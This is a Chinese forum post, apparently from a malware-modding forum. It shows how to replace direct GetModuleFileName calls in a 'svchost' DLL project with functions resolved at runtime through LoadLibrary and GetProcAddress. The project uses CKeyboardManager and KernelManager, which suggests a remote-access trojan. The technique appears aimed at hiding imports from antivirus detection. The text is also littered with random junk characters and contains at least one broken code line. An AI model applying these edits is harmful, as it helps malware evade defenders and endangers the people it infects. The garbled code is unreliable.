[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
3 `) w3 w' Z8 P* @4 ]svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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! b0 L5 p) C) y, w#if _MSC_VER>1000  m. K+ O6 \5 @
#pragma once
- t3 o% g; Q! a0 L# E6 {& M0 u#endif //_MSC_VER>1000
8 [. o; \, [/ i2 [. q: x#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
8 x* S( b2 \' U- B' C1 |5 y3 r2 Wclass DTDY
4 M  A, u" c( r1 A1 v5 n  g{
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DTDY();
3 f+ u( y( d' j# }' O0 s. b+ Uvirtual ~DTDY();/ H5 ^1 O! ?' q5 a
public:$ Y7 u2 J. c1 j* A( e
static pGetModuleFileNameA MyGetModuleFileName;) M, F6 E. K$ _, o9 N  V
static BOOL FunInitiallization();4 z5 z' _0 @) J8 G; g
};
7 q: r5 D; [2 E7 |! w#endif
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DTDY.cpp:
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$ j. y/ ~3 c. y! _* U, D#include "DTDY.h"% m# e% e" s4 V  W  ~3 N/ |
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
+ E; s1 A' M) ~7 X& z* D) B; ADTDY:TDY()
- }% H, l+ X  B6 r% a; r{
; i) e2 q* O: o; y5 e1 x}
8 V9 L8 ~8 c. v/ mDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()4 o( ]( |! D% U& O1 j
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HMODULE hModule=LoadLibrary("kernel32.dll");) @) _, a' H6 t5 G, Y* c
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");: J0 @6 x% S+ C
if(!MyGetModuleFileName=) return FALSE;# G% D" f7 H, k6 |% G7 J
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return TRUE;. o: f. z9 S% ?. B
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2 Z" Y2 E4 ]4 s. w( ]/ isvchost.cpp:4 O& g; W6 w% g, P, u
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#include "DTDY.h"
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5 U% G+ c) ~. T6 u' e1 \  fBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)* k# a, ~9 G& U2 u% K% f
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switch(ul_reason_for_call)8 e; j) _# P0 b1 X0 Q* M
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case DLL_PROCESS_ATTACH:8 O7 m) M, g$ M
if(!DTDY::FunInitiallization()) return FALSE;8 v$ j5 ^! Y3 u5 m& P
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break;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def% M8 \4 E0 g2 L7 U8 j
改写为
2 u) L6 ?, s9 ?2 f2 hDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:. ]( W/ L, n& V7 s( f* m6 D

" K6 `2 |4 `- x+ p#include "../DTDY.h"
8 ?; ~" ~( \3 N1 C! PGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
2 n, x9 }$ }1 K. d& L. K改写为
! d! ], z3 b, j4 {DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 g- N6 c' S/ Z" Q; H8 i; h
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